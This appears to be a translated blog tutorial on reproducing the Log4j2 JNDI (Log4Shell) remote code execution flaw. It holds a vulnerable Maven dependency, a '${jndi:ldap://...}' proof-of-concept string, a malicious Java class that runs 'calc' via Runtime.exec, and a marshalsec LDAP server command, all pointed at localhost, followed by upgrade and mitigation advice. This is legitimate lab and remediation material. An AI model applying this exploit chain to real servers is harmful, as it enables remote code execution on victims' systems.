Step-by-Step: Reproducing the Log4j2 Vulnerability

1. Introduction

Apache Log4j2 is an open-source Java logging framework that is widely used in middleware, development frameworks and web applications.

2. Vulnerability Overview

This vulnerability comes from the recursive resolution feature in certain Apache Log4j2 functionality: an unauthenticated attacker can send a specially crafted malicious packet and execute arbitrary code on the target server.

3. Scope of Impact

Apache Log4j 2.x <= 2.15.0-rc1

4. Setting Up the Environment

1. Create a new maven project and import the Log4j dependency package.

   <dependency>
       <groupId>org.apache.logging.log4j</groupId>
       <artifactId>log4j-core</artifactId>
       <version>2.14.1</version>
   </dependency>

   Exploitation

1. Test with the POC

import org.apache.logging.log4j.LogManager;
       import org.apache.logging.log4j.Logger;
       class LogTest {
           public static final Logger logger = LogManager.getLogger();
           public static void main(String[] args) {
               logger.error("${jndi:ldap://localhost:8888/Exploit}");
           }
       }

1. Compile a malicious class Exploit.class

First create a new exp.java, then compile it into a class file

class Exploit {
    static {
        System.err.println("Pwned");
        try {
            String cmds = "calc";
            Runtime.getRuntime().exec(cmds);
        } catch ( Exception e ) {
            e.printStackTrace();
        }
    }
}

javac exp.java

1. Use marshalsec-0.0.3-SNAPSHOT-all.jar to start an LDAP service locally

java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer
"http://127.0.0.1:7777/#Exploit" 8888

1. Run poc.java and it will access the malicious class and execute the “calc” command written into it

Combined with suitable deformation of some other StrLookups, plus the dirty data “?Type=A Type&Name=1100110&Char=!” from the official test cases, rc1 can be bypassed; the RC2 version catches this exception.

5. Remediation

Apache has already released a new version that fixes the vulnerability, so users are advised to run their own checks as soon as possible and upgrade to the latest version in time: https://github.com/apache/logging-log4j2/releases/tag/log4j-2.15.0-rc2 The following temporary measures are also recommended to guard against the vulnerability:

1) Add the jvm startup parameter -Dlog4j2.formatMsgNoLookups=true;

2) Add a log4j2.component.properties configuration file under the application classpath, with the content log4j2.formatMsgNoLookups=true;

3) Use JDK 11.0.1, 8u191, 7u201, 6u211 or a later high version;

4) Deploy a third-party firewall product for security protection.

Link: https://blog.csdn.net/qq_40989258/article/details/121862363